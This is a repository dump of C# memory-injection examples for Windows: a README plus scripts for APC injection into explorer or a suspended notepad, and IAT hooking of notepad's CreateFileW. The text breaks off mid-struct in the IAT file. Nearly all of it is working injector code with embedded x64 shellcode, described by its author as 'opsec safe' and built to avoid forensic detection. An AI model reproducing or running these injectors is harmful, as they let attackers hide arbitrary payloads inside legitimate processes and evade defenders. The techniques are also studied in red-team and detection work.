├── README.md ├── apc-injection-any-process.cs ├── apc-injection-new-process.cs ├── iat-injection.cs ├── process-dll-injection.cs └── thread-hijack.cs /README.md: -------------------------------------------------------------------------------- 1 | # C# Memory Injection Examples 2 | 3 | A set of scripts that demonstrate how to perform memory injection. 4 | 5 | I've tried to make these techniques as simple and opsec safe as possible, avoiding unnecessary memory modifications, process or file creation. I'm no C# expert or memory injection guru so use these examples at your own risk :) 6 | 7 | The shellcode used in the examples can be found below (there are also dll/exe versions too): 8 | 9 | https://github.com/peterferrie/win-exec-calc-shellcode 10 | 11 | ### Contents 12 | 13 | - apc-injection-any-process.cs - APC injection using QueueAPC into a currently running remote process. This method relies on the threads within the process entering an alertable state. 14 | 15 | - apc-injection-new-process.cs - APC injection using QueueAPC into a newly created process. As the threads of a newly created process will be alertable its easier to trigger APC usage with this technique, although you will generate a new process. 16 | 17 | - iat-injection.cs - Modify a specific import pointer for a target function within a specific process to point to shellcode before continuing to execute the legitimate function. 18 | 19 | - process-dll-injection.cs - Classic dll injection where the path to a dll on disk is injected in a running process and then loaded with a call to CreateRemoteThread passing LoadLibrary and the dll path. 20 | 21 | - thread-hijack.cs - This example suspends a thread within a running process, injects shellcode in the process and redirects execution of an existing thread to the shellcode. Once the shellcode is executed the thread will continue as before. 22 | 23 | 24 | -------------------------------------------------------------------------------- /apc-injection-any-process.cs: -------------------------------------------------------------------------------- 1 | // APC injection into any process by @pwndizzle 2 | // In this module I use QueueAPC to assign every thread in a specific process an APC to execute 3 | // For threads to execute APCs the thread must enter the "alertable" state. I couldn't find any way to force this (aside from thread hijacking) 4 | // Luckily threads in explorer very often are alertable making it the perfect target for exploitation 5 | // 6 | // TODO: Find a clean way to trigger alertable state 7 | // 8 | // To run: 9 | // C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe apc-injection-any-process.cs && apc-injection-any-process.exe 10 | 11 | 12 | using System; 13 | using System.Reflection; 14 | using System.Diagnostics; 15 | using System.Runtime.InteropServices; 16 | 17 | 18 | public class ApcInjectionAnyProcess 19 | { 20 | public static void Main() 21 | { 22 | 23 | byte[] shellcode = new byte[112] { 24 | 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3 25 | }; 26 | 27 | // Open process. "explorer" is a good target due to the large number of threads which will enter alertable state 28 | Process targetProcess = Process.GetProcessesByName("explorer")[0]; 29 | IntPtr procHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); 30 | 31 | // Allocate memory within process and write shellcode 32 | IntPtr resultPtr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE); 33 | IntPtr bytesWritten = IntPtr.Zero; 34 | bool resultBool = WriteProcessMemory(procHandle,resultPtr,shellcode,shellcode.Length, out bytesWritten); 35 | 36 | // Modify memory permissions on shellcode from XRW to XR 37 | uint oldProtect = 0; 38 | resultBool = VirtualProtectEx(procHandle, resultPtr, shellcode.Length, PAGE_EXECUTE_READ, out oldProtect); 39 | 40 | // Iterate over threads and queueapc 41 | foreach (ProcessThread thread in targetProcess.Threads) 42 | { 43 | //Get handle to thread 44 | IntPtr tHandle = OpenThread(ThreadAccess.THREAD_HIJACK, false, (int)thread.Id); 45 | 46 | //Assign APC to thread to execute shellcode 47 | IntPtr ptr = QueueUserAPC(resultPtr, tHandle, IntPtr.Zero); 48 | } 49 | } 50 | 51 | // Memory permissions 52 | private static UInt32 MEM_COMMIT = 0x1000; 53 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 54 | private static UInt32 PAGE_READWRITE = 0x04; 55 | private static UInt32 PAGE_EXECUTE_READ = 0x20; 56 | 57 | // Process privileges 58 | const int PROCESS_CREATE_THREAD = 0x0002; 59 | const int PROCESS_QUERY_INFORMATION = 0x0400; 60 | const int PROCESS_VM_OPERATION = 0x0008; 61 | const int PROCESS_VM_WRITE = 0x0020; 62 | const int PROCESS_VM_READ = 0x0010; 63 | 64 | [Flags] 65 | public enum ThreadAccess : int 66 | { 67 | TERMINATE = (0x0001), 68 | SUSPEND_RESUME = (0x0002), 69 | GET_CONTEXT = (0x0008), 70 | SET_CONTEXT = (0x0010), 71 | SET_INFORMATION = (0x0020), 72 | QUERY_INFORMATION = (0x0040), 73 | SET_THREAD_TOKEN = (0x0080), 74 | IMPERSONATE = (0x0100), 75 | DIRECT_IMPERSONATION = (0x0200), 76 | THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, 77 | THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION 78 | } 79 | 80 | [DllImport("kernel32.dll", SetLastError = true)] 81 | public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, 82 | int dwThreadId); 83 | 84 | [DllImport("kernel32.dll",SetLastError = true)] 85 | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); 86 | 87 | [DllImport("kernel32.dll")] 88 | public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 89 | 90 | [DllImport("kernel32")] 91 | public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, 92 | Int32 size, UInt32 flAllocationType, UInt32 flProtect); 93 | 94 | [DllImport("kernel32.dll", SetLastError = true )] 95 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, 96 | Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); 97 | 98 | [DllImport("kernel32.dll", SetLastError = true)] 99 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 100 | 101 | [DllImport("kernel32.dll")] 102 | public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, 103 | int dwSize, uint flNewProtect, out uint lpflOldProtect); 104 | } 105 | -------------------------------------------------------------------------------- /apc-injection-new-process.cs: -------------------------------------------------------------------------------- 1 | // Original code created by Casey Smith - https://gist.github.com/subTee/a8d86ee9b9792dac0f0f4b021f2763c1 2 | // 3 | // Modified and commented by @pwndizzle 4 | // 5 | // To run: 6 | // 1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe apc-injection.cs && apc-injection.exe 7 | 8 | using System; 9 | using System.Reflection; 10 | using System.Diagnostics; 11 | using System.Runtime.InteropServices; 12 | 13 | 14 | public class ApcInjectionNewProcess 15 | { 16 | public static void Main() 17 | { 18 | 19 | byte[] shellcode = new byte[112] { 20 | 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3 21 | }; 22 | 23 | // Target process to inject into 24 | string processpath = @"C:\Windows\notepad.exe"; 25 | STARTUPINFO si = new STARTUPINFO(); 26 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 27 | 28 | // Create new process in suspended state to inject into 29 | bool success = CreateProcess(processpath, null, 30 | IntPtr.Zero, IntPtr.Zero, false, 31 | ProcessCreationFlags.CREATE_SUSPENDED, 32 | IntPtr.Zero, null, ref si, out pi); 33 | 34 | // Allocate memory within process and write shellcode 35 | IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE); 36 | IntPtr bytesWritten = IntPtr.Zero; 37 | bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten); 38 | 39 | // Open thread 40 | IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId); 41 | uint oldProtect = 0; 42 | 43 | // Modify memory permissions on allocated shellcode 44 | resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect); 45 | 46 | // Assign address of shellcode to the target thread apc queue 47 | IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero); 48 | 49 | IntPtr ThreadHandle = pi.hThread; 50 | ResumeThread(ThreadHandle); 51 | 52 | } 53 | 54 | 55 | private static UInt32 MEM_COMMIT = 0x1000; 56 | 57 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-) 58 | private static UInt32 PAGE_READWRITE = 0x04; 59 | private static UInt32 PAGE_EXECUTE_READ = 0x20; 60 | 61 | 62 | [Flags] 63 | public enum ProcessAccessFlags : uint 64 | { 65 | All = 0x001F0FFF, 66 | Terminate = 0x00000001, 67 | CreateThread = 0x00000002, 68 | VirtualMemoryOperation = 0x00000008, 69 | VirtualMemoryRead = 0x00000010, 70 | VirtualMemoryWrite = 0x00000020, 71 | DuplicateHandle = 0x00000040, 72 | CreateProcess = 0x000000080, 73 | SetQuota = 0x00000100, 74 | SetInformation = 0x00000200, 75 | QueryInformation = 0x00000400, 76 | QueryLimitedInformation = 0x00001000, 77 | Synchronize = 0x00100000 78 | } 79 | 80 | [Flags] 81 | public enum ProcessCreationFlags : uint 82 | { 83 | ZERO_FLAG = 0x00000000, 84 | CREATE_BREAKAWAY_FROM_JOB = 0x01000000, 85 | CREATE_DEFAULT_ERROR_MODE = 0x04000000, 86 | CREATE_NEW_CONSOLE = 0x00000010, 87 | CREATE_NEW_PROCESS_GROUP = 0x00000200, 88 | CREATE_NO_WINDOW = 0x08000000, 89 | CREATE_PROTECTED_PROCESS = 0x00040000, 90 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, 91 | CREATE_SEPARATE_WOW_VDM = 0x00001000, 92 | CREATE_SHARED_WOW_VDM = 0x00001000, 93 | CREATE_SUSPENDED = 0x00000004, 94 | CREATE_UNICODE_ENVIRONMENT = 0x00000400, 95 | DEBUG_ONLY_THIS_PROCESS = 0x00000002, 96 | DEBUG_PROCESS = 0x00000001, 97 | DETACHED_PROCESS = 0x00000008, 98 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000, 99 | INHERIT_PARENT_AFFINITY = 0x00010000 100 | } 101 | public struct PROCESS_INFORMATION 102 | { 103 | public IntPtr hProcess; 104 | public IntPtr hThread; 105 | public uint dwProcessId; 106 | public uint dwThreadId; 107 | } 108 | public struct STARTUPINFO 109 | { 110 | public uint cb; 111 | public string lpReserved; 112 | public string lpDesktop; 113 | public string lpTitle; 114 | public uint dwX; 115 | public uint dwY; 116 | public uint dwXSize; 117 | public uint dwYSize; 118 | public uint dwXCountChars; 119 | public uint dwYCountChars; 120 | public uint dwFillAttribute; 121 | public uint dwFlags; 122 | public short wShowWindow; 123 | public short cbReserved2; 124 | public IntPtr lpReserved2; 125 | public IntPtr hStdInput; 126 | public IntPtr hStdOutput; 127 | public IntPtr hStdError; 128 | } 129 | 130 | [Flags] 131 | public enum ThreadAccess : int 132 | { 133 | TERMINATE = (0x0001) , 134 | SUSPEND_RESUME = (0x0002) , 135 | GET_CONTEXT = (0x0008) , 136 | SET_CONTEXT = (0x0010) , 137 | SET_INFORMATION = (0x0020) , 138 | QUERY_INFORMATION = (0x0040) , 139 | SET_THREAD_TOKEN = (0x0080) , 140 | IMPERSONATE = (0x0100) , 141 | DIRECT_IMPERSONATION = (0x0200) 142 | } 143 | 144 | [DllImport("kernel32.dll", SetLastError = true)] 145 | public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, 146 | int dwThreadId); 147 | 148 | [DllImport("kernel32.dll",SetLastError = true)] 149 | public static extern bool WriteProcessMemory( 150 | IntPtr hProcess, 151 | IntPtr lpBaseAddress, 152 | byte[] lpBuffer, 153 | int nSize, 154 | out IntPtr lpNumberOfBytesWritten); 155 | 156 | [DllImport("kernel32.dll")] 157 | public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); 158 | 159 | [DllImport("kernel32")] 160 | public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, 161 | Int32 size, UInt32 flAllocationType, UInt32 flProtect); 162 | [DllImport("kernel32.dll", SetLastError = true )] 163 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, 164 | Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); 165 | 166 | [DllImport("kernel32.dll", SetLastError = true)] 167 | public static extern IntPtr OpenProcess( 168 | ProcessAccessFlags processAccess, 169 | bool bInheritHandle, 170 | int processId 171 | ); 172 | 173 | 174 | [DllImport("kernel32.dll")] 175 | public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 176 | [DllImport("kernel32.dll")] 177 | public static extern uint ResumeThread(IntPtr hThread); 178 | [DllImport("kernel32.dll")] 179 | public static extern uint SuspendThread(IntPtr hThread); 180 | [DllImport("kernel32.dll")] 181 | public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, 182 | int dwSize, uint flNewProtect, out uint lpflOldProtect); 183 | } 184 | -------------------------------------------------------------------------------- /iat-injection.cs: -------------------------------------------------------------------------------- 1 | /* 2 | A script to demonstrate IAT hooking created by @pwndizzle. 3 | 4 | Parts of the PE parsing code was originally created by Casey Smith. 5 | 6 | To build and run: 7 | 8 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe iat-inject.cs && iat-inject.exe 9 | 10 | Note: By default this module is configured to target the CreateFileW import of notepad.exe. Notepad will need to be running before you execute this code! 11 | 12 | Note: During test it was found that shellcode execution would modify the stack and break subsequent functions. 13 | Afaik the solution is to use shellcode that cleans up after itself. 14 | 15 | Note: This code only supports x64 at the momemt, some further tweaks may be needed for x86. 16 | 17 | */ 18 | 19 | using System; 20 | using System.IO; 21 | using System.Text; 22 | using System.IO.Compression; 23 | using System.EnterpriseServices; 24 | using System.Collections.Generic; 25 | using System.Configuration.Install; 26 | using System.Runtime.InteropServices; 27 | using System.Security.Cryptography; 28 | using System.Diagnostics; 29 | 30 | 31 | namespace Delivery 32 | { 33 | 34 | public class Program 35 | { 36 | 37 | public static void Main() 38 | { 39 | string targetProcName = "notepad"; 40 | string targetFuncName = "CreateFileW"; 41 | 42 | // Get target process id and read memory contents 43 | Process process = Process.GetProcessesByName(targetProcName)[0]; 44 | IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, process.Id); 45 | int bytesRead = 0; 46 | byte[] fileBytes = new byte[process.WorkingSet64]; 47 | ReadProcessMemory(hProcess, process.MainModule.BaseAddress, fileBytes, fileBytes.Length, ref bytesRead); 48 | 49 | // The DOS header 50 | IMAGE_DOS_HEADER dosHeader; 51 | 52 | // The file header 53 | IMAGE_FILE_HEADER fileHeader; 54 | 55 | // Optional 32 bit file header 56 | IMAGE_OPTIONAL_HEADER32 optionalHeader32 = new IMAGE_OPTIONAL_HEADER32(); 57 | 58 | // Optional 64 bit file header 59 | IMAGE_OPTIONAL_HEADER64 optionalHeader64 = new IMAGE_OPTIONAL_HEADER64(); 60 | 61 | // Image Section headers 62 | IMAGE_SECTION_HEADER[] imageSectionHeaders; 63 | 64 | // Import descriptor for each DLL 65 | IMAGE_IMPORT_DESCRIPTOR[] importDescriptors; 66 | 67 | // Convert file bytes to memorystream and use reader 68 | MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length); 69 | BinaryReader reader = new BinaryReader(stream); 70 | 71 | //Begin parsing structures 72 | dosHeader = FromBinaryReader(reader); 73 | 74 | // Add 4 bytes to the offset 75 | stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); 76 | 77 | UInt32 ntHeadersSignature = reader.ReadUInt32(); 78 | fileHeader = FromBinaryReader(reader); 79 | if (Is32BitHeader(fileHeader)) 80 | { 81 | optionalHeader32 = FromBinaryReader(reader); 82 | } 83 | else 84 | { 85 | optionalHeader64 = FromBinaryReader(reader); 86 | } 87 | 88 | imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; 89 | for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) 90 | { 91 | imageSectionHeaders[headerNo] = FromBinaryReader(reader); 92 | } 93 | 94 | // Go to ImportTable and parse every imported DLL 95 | stream.Seek((long)((ulong)optionalHeader64.ImportTable.VirtualAddress), SeekOrigin.Begin); 96 | importDescriptors = new IMAGE_IMPORT_DESCRIPTOR[50]; 97 | 98 | for (int i = 0; i < 50; i++) 99 | { 100 | importDescriptors[i] = FromBinaryReader(reader); 101 | } 102 | bool flag = false; 103 | int j = 0; 104 | 105 | // The below is really hacky, would have been better to use structures! 106 | while (j < importDescriptors.Length && !flag) 107 | { 108 | for (int k = 0; k < 1000; k++) 109 | { 110 | // Get the address for the function and its name 111 | Console.WriteLine("##############################"); 112 | stream.Seek(importDescriptors[j].OriginalFirstThunk + (k * 8), SeekOrigin.Begin); 113 | 114 | long nameOffset = reader.ReadInt64(); 115 | if (nameOffset > 1000000 || nameOffset < 0) 116 | { 117 | break; 118 | } 119 | 120 | // Get the function name 121 | stream.Seek(nameOffset + 2, SeekOrigin.Begin); 122 | List list = new List(); 123 | byte[] array; 124 | do 125 | { 126 | array = reader.ReadBytes(1); 127 | list.Add(Encoding.Default.GetString(array)); 128 | } 129 | while (array[0] != 0); 130 | string curFuncName = string.Join(string.Empty, list.ToArray()); 131 | curFuncName = curFuncName.Substring(0, curFuncName.Length - 1); 132 | 133 | // Get the offset of the pointer to the target function and its current value 134 | long funcOffset = importDescriptors[j].FirstThunk + (k * 8); 135 | stream.Seek(funcOffset, SeekOrigin.Begin); 136 | long curFuncAddr = reader.ReadInt64(); 137 | Console.WriteLine("funcname: " + curFuncName + " ptr: " + curFuncAddr.ToString("X")); 138 | 139 | // Found target function, modify address to point to shellcode 140 | if (curFuncName == targetFuncName) 141 | { 142 | 143 | // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode 144 | // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin 145 | byte[] payload = new byte[111] { 146 | 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58 147 | }; 148 | 149 | // Once shellcode has executed go to real import (mov to rax then jmp to address) 150 | byte[] mov_rax = new byte[2] { 151 | 0x48, 0xb8 152 | }; 153 | byte[] jmp_address = BitConverter.GetBytes(curFuncAddr); 154 | byte[] jmp_rax = new byte[2] { 155 | 0xff, 0xe0 156 | }; 157 | 158 | // Build shellcode 159 | byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; 160 | payload.CopyTo(shellcode, 0); 161 | mov_rax.CopyTo(shellcode, payload.Length); 162 | jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length); 163 | jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length); 164 | 165 | // Allocate memory for shellcode 166 | IntPtr shellcodeAddress = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE); 167 | 168 | // Write shellcode to memory 169 | IntPtr shellcodeBytesWritten = IntPtr.Zero; 170 | WriteProcessMemory(hProcess,shellcodeAddress,shellcode,shellcode.Length, out shellcodeBytesWritten); 171 | 172 | long funcAddress = (long)optionalHeader64.ImageBase + funcOffset; 173 | 174 | // Get current value of IAT 175 | bytesRead = 0; 176 | byte[] buffer1 = new byte[8]; 177 | ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer1, buffer1.Length, ref bytesRead); 178 | 179 | // Get shellcode address 180 | byte[] shellcodePtr = BitConverter.GetBytes((Int64)shellcodeAddress); 181 | 182 | // Modify permissions to allow IAT modification 183 | uint oldProtect = 0; 184 | bool protectbool = VirtualProtectEx(hProcess, (IntPtr)funcAddress, shellcodePtr.Length, PAGE_EXECUTE_READWRITE, out oldProtect); 185 | 186 | // Modfiy IAT to point to shellcode 187 | IntPtr iatBytesWritten = IntPtr.Zero; 188 | bool success = WriteProcessMemory(hProcess, (IntPtr)funcAddress, shellcodePtr, shellcodePtr.Length, out iatBytesWritten); 189 | 190 | // Read IAT to confirm new value 191 | bytesRead = 0; 192 | byte[] buffer = new byte[8]; 193 | ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer, buffer.Length, ref bytesRead); 194 | Console.WriteLine("Old IAT ptr: " + BitConverter.ToString(buffer1) + " New IAT ptr: " + BitConverter.ToString(buffer)); 195 | 196 | flag = true; 197 | break; 198 | } 199 | } 200 | j++; 201 | } 202 | } 203 | 204 | 205 | public struct IMAGE_DOS_HEADER 206 | { // DOS .EXE header 207 | public UInt16 e_magic; // Magic number 208 | public UInt16 e_cblp; // Bytes on last page of file 209 | public UInt16 e_cp; // Pages in file 210 | public UInt16 e_crlc; // Relocations 211 | public UInt16 e_cparhdr; // Size of header in paragraphs 212 | public UInt16 e_minalloc; // Minimum extra paragraphs needed 213 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed 214 | public UInt16 e_ss; // Initial (relative) SS value 215 | public UInt16 e_sp; // Initial SP value 216 | public UInt16 e_csum; // Checksum 217 | public UInt16 e_ip; // Initial IP value 218 | public UInt16 e_cs; // Initial (relative) CS value 219 | public UInt16 e_lfarlc; // File address of relocation table 220 | public UInt16 e_ovno; // Overlay number 221 | public UInt16 e_res_0; // Reserved words 222 | public UInt16 e_res_1; // Reserved words 223 | public UInt16 e_res_2; // Reserved words 224 | public UInt16 e_res_3; // Reserved words 225 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo) 226 | public UInt16 e_oeminfo; // OEM information; e_oemid specific 227 | public UInt16 e_res2_0; // Reserved words 228 | public UInt16 e_res2_1; // Reserved words 229 | public UInt16 e_res2_2; // Reserved words 230 | public UInt16 e_res2_3; // Reserved words 231 | public UInt16 e_res2_4; // Reserved words 232 | public UInt16 e_res2_5; // Reserved words 233 | public UInt16 e_res2_6; // Reserved words 234 | public UInt16 e_res2_7; // Reserved words 235 | public UInt16 e_res2_8; // Reserved words 236 | public UInt16 e_res2_9; // Reserved words 237 | public UInt32 e_lfanew; // File address of new exe header 238 | } 239 | 240 | [StructLayout(LayoutKind.Sequential)] 241 | public struct IMAGE_DATA_DIRECTORY 242 | { 243 | public UInt32 VirtualAddress; 244 | public UInt32 Size; 245 | } 246 | 247 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 248 | public struct IMAGE_OPTIONAL_HEADER32 249 | { 250 | public UInt16 Magic; 251 | public Byte MajorLinkerVersion; 252 | public Byte MinorLinkerVersion; 253 | public UInt32 SizeOfCode; 254 | public UInt32 SizeOfInitializedData; 255 | public UInt32 SizeOfUninitializedData; 256 | public UInt32 AddressOfEntryPoint; 257 | public UInt32 BaseOfCode; 258 | public UInt32 BaseOfData; 259 | public UInt32 ImageBase; 260 | public UInt32 SectionAlignment; 261 | public UInt32 FileAlignment; 262 | public UInt16 MajorOperatingSystemVersion; 263 | public UInt16 MinorOperatingSystemVersion; 264 | public UInt16 MajorImageVersion; 265 | public UInt16 MinorImageVersion; 266 | public UInt16 MajorSubsystemVersion; 267 | public UInt16 MinorSubsystemVersion; 268 | public UInt32 Win32VersionValue; 269 | public UInt32 SizeOfImage; 270 | public UInt32 SizeOfHeaders; 271 | public UInt32 CheckSum; 272 | public UInt16 Subsystem; 273 | public UInt16 DllCharacteristics; 274 | public UInt32 SizeOfStackReserve; 275 | public UInt32 SizeOfStackCommit; 276 | public UInt32 SizeOfHeapReserve; 277 | public UInt32 SizeOfHeapCommit; 278 | public UInt32 LoaderFlags; 279 | public UInt32 NumberOfRvaAndSizes; 280 | 281 | public IMAGE_DATA_DIRECTORY ExportTable; 282 | public IMAGE_DATA_DIRECTORY ImportTable; 283 | public IMAGE_DATA_DIRECTORY ResourceTable; 284 | public IMAGE_DATA_DIRECTORY ExceptionTable; 285 | public IMAGE_DATA_DIRECTORY CertificateTable; 286 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 287 | public IMAGE_DATA_DIRECTORY Debug; 288 | public IMAGE_DATA_DIRECTORY Architecture; 289 | public IMAGE_DATA_DIRECTORY GlobalPtr; 290 | public IMAGE_DATA_DIRECTORY TLSTable; 291 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 292 | public IMAGE_DATA_DIRECTORY BoundImport; 293 | public IMAGE_DATA_DIRECTORY IAT; 294 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 295 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 296 | public IMAGE_DATA_DIRECTORY Reserved; 297 | } 298 | 299 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 300 | public struct IMAGE_OPTIONAL_HEADER64 301 | { 302 | public UInt16 Magic; 303 | public Byte MajorLinkerVersion; 304 | public Byte MinorLinkerVersion; 305 | public UInt32 SizeOfCode; 306 | public UInt32 SizeOfInitializedData; 307 | public UInt32 SizeOfUninitializedData; 308 | public UInt32 AddressOfEntryPoint; 309 | public UInt32 BaseOfCode; 310 | public UInt64 ImageBase; 311 | public UInt32 SectionAlignment; 312 | public UInt32 FileAlignment; 313 | public UInt16 MajorOperatingSystemVersion; 314 | public UInt16 MinorOperatingSystemVersion; 315 | public UInt16 MajorImageVersion; 316 | public UInt16 MinorImageVersion; 317 | public UInt16 MajorSubsystemVersion; 318 | public UInt16 MinorSubsystemVersion; 319 | public UInt32 Win32VersionValue; 320 | public UInt32 SizeOfImage; 321 | public UInt32 SizeOfHeaders; 322 | public UInt32 CheckSum; 323 | public UInt16 Subsystem; 324 | public UInt16 DllCharacteristics; 325 | public UInt64 SizeOfStackReserve; 326 | public UInt64 SizeOfStackCommit; 327 | public UInt64 SizeOfHeapReserve; 328 | public UInt64 SizeOfHeapCommit; 329 | public UInt32 LoaderFlags; 330 | public UInt32 NumberOfRvaAndSizes; 331 | 332 | public IMAGE_DATA_DIRECTORY ExportTable; 333 | public IMAGE_DATA_DIRECTORY ImportTable; 334 | public IMAGE_DATA_DIRECTORY ResourceTable; 335 | public IMAGE_DATA_DIRECTORY ExceptionTable; 336 | public IMAGE_DATA_DIRECTORY CertificateTable; 337 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 338 | public IMAGE_DATA_DIRECTORY Debug; 339 | public IMAGE_DATA_DIRECTORY Architecture; 340 | public IMAGE_DATA_DIRECTORY GlobalPtr; 341 | public IMAGE_DATA_DIRECTORY TLSTable; 342 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 343 | public IMAGE_DATA_DIRECTORY BoundImport; 344 | public IMAGE_DATA_DIRECTORY IAT; 345 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 346 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 347 | public IMAGE_DATA_DIRECTORY Reserved; 348 | } 349 | 350 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 351 | public struct IMAGE_FILE_HEADER 352 | { 353 | public UInt16 Machine; 354 | public UInt16 